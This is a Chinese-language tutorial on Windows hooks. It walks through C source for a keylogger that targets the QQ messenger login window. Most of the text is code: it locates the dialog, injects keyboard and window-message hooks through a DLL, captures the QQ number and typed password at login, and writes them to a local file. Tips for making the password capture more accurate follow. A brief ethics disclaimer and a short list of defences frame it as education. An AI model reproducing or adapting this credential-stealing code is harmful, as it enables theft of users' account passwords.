在 Windows 程式設計中,鉤子是一項強大的機制,允許應用程式攔截並處理系統訊息,如鍵盤輸入、滑鼠事件、視窗訊息等。本文將深入探討如何利用 SetWindowsHookEx API 實作鍵盤鉤子與視窗訊息鉤子,以監控特定應用程式(以早期 QQ 登入視窗為例)的使用者互動。此技術常用於合法軟體的熱鍵支援、輸入法編輯器、自動化測試工具等場景,但也可能被惡意軟體濫用於竊取敏感資訊,因此開發者必須嚴格遵守法律法規與道德規範,僅在授權範圍內進行安全研究或防禦性開發。
完整的鉤子實作通常包含四個階段:
KeyboardProc 與 CallWndProc 處理攔截到的訊息。早期 QQ 登入對話框的類別名為 #32770(標準對話框類別),標題包含特殊字元難以直接用 FindWindow 取得。解決方案是枚舉所有 #32770 視窗,檢查其子控制項中是否存在標題為「登錄QQ」的 Button 控制項:
#define ID_MYTIMER 555
SetTimer(hDlg, ID_MYTIMER, 1000, NULL); // 每秒掃描一次
// WM_TIMER 處理邏輯
if (!IsWindow(g_hQQLogin)) {
HWND hLogin = NULL;
g_hQQLogin = NULL;
SetQQHook(NULL); // 先移除舊鉤子
do {
g_hQQLogin = FindWindowEx(NULL, g_hQQLogin, "#32770", NULL);
hLogin = FindWindowEx(g_hQQLogin, NULL, "Button", " 登錄QQ");
} while (g_hQQLogin != NULL && hLogin == NULL);
if (g_hQQLogin != NULL) {
SetQQHook(g_hQQLogin); // 安裝鉤子
}
}
此法雖有效,但高度依賴特定版本 UI 結構,現代應用程式介面頻繁更新,實務上需結合多重特徵(類別名、控制項 ID、視窗層級關係)提高穩健度。
跨進程鉤子必須將回呼函數放置於 DLL 中,以便系統將其映射至目標進程位址空間。SetQQHook 函數展示了關鍵步驟:
BOOL WINAPI SetQQHook(HWND hQQLogin) {
BOOL bRet = FALSE;
if (hQQLogin != NULL) {
DWORD dwThreadID = GetWindowThreadProcessId(hQQLogin, NULL);
// 取得 QQ 號、密碼輸入框的子視窗句柄(控制項 ID 隨版本變動)
g_hNum = GetDlgItem(hQQLogin, 138);
g_hPsw = GetDlgItem(hQQLogin, 180);
if (g_hNum == NULL || g_hPsw == NULL) return FALSE;
// 安裝兩種鉤子:訊息鉤子 + 鍵盤鉤子
g_hProc = SetWindowsHookEx(WH_CALLWNDPROC, CallWndProc, g_hInstDLL, dwThreadID);
g_hKey = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, g_hInstDLL, dwThreadID);
bRet = (g_hProc != NULL) && (g_hKey != NULL);
} else {
// 移除鉤子
bRet = UnhookWindowsHookEx(g_hProc) && UnhookWindowsHookEx(g_hKey);
g_hProc = g_hKey = g_hNum = NULL;
}
return bRet;
}
關鍵點:
WH_CALLWNDPROC 攔截視窗程序處理前的訊息,適合捕捉 WM_COMMAND 等命令訊息。WH_KEYBOARD 攔截鍵盤訊息,可記錄按鍵序列。兩個回呼函數分別處理不同來源的登入觸發事件:
// 視窗訊息鉤子:捕捉「登陸」按鈕點擊 (WM_COMMAND, ID=16032)
LRESULT CALLBACK CallWndProc(int nCode, WPARAM wParam, LPARAM lParam) {
CWPSTRUCT *p = (CWPSTRUCT *)lParam;
if (p->message == WM_COMMAND && p->wParam == 16032) {
GetPasswrod(); // 使用者點擊登入,提取憑證
}
return CallNextHookEx(g_hProc, nCode, wParam, lParam);
}
// 鍵盤鉤子:捕捉 Enter 熱鍵登入
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
pmsg[i].wParam = wParam; // 記錄按鍵 (全域陣列)
i++;
if (wParam == VK_RETURN) {
GetPasswrod(); // 按下 Enter,提取憑證
}
return CallNextHookEx(g_hKey, nCode, wParam, lParam);
}
注意:鉤子鏈傳遞規範要求必須呼叫 CallNextHookEx,否則會破壞系統訊息流向導致目標應用程式凍結。
GetPasswrod 函數展示如何從記錄的按鍵序列與視窗文字重建密碼:
void GetPasswrod() {
TCHAR num[13], psw[21], total[50];
// 1. 直接取得 QQ 號(可能來自自動填入、剪貼簿)
GetWindowText(g_hNum, (LPSTR)num, sizeof(num));
// 2. 從鍵盤記錄重建密碼(簡易版:取前 20 個按鍵的 wParam)
for (int j = 0; j < 20; j++) {
psw[j] = (TCHAR)pmsg[j*2].wParam;
}
psw[20] = '\0';
// 3. 寫入檔案
HANDLE f = CreateFile("c:\\password.txt", GENERIC_WRITE, FILE_SHARE_WRITE,
NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
_stprintf(total, _T("號碼:%s 密碼:%s"), num, psw);
DWORD dw; WriteFile(f, total, _tcslen(total)*sizeof(TCHAR), &dw, NULL);
CloseHandle(f);
}
主要缺陷與改進方向:
wParam 為虛擬鍵碼,需結合 GetKeyboardState + ToAscii/ToUnicode 轉換為實際字元。VK_RETURN 前的按鍵會包含拼音/注音碼。WM_SETFOCUS/WM_KILLFOCUS) 分離輸入。作為安全開發者,應了解以下防禦手段:
GetWindowLongPtr(hWnd, GWLP_WNDPROC) 定期檢查視窗程序是否被替換(子類化)。SetWindowsHookEx、CreateRemoteThread、WriteProcessMemory 等敏感 API 呼叫鏈。Windows 鉤子機制是雙面刃:賦予開發者強大的系統整合能力,亦為惡意軟體提供了滲透途徑。掌握其原理不僅有助於開發熱鍵、螢幕錄製、自動化測試等合法工具,更是建構端點防禦體系的基礎知識。實務開發中,請優先考慮現代替代方案(如 Raw Input、UI Automation、Windows Hooks 的替代品),並在必要時嚴格限制鉤子範圍、權限與生命週期。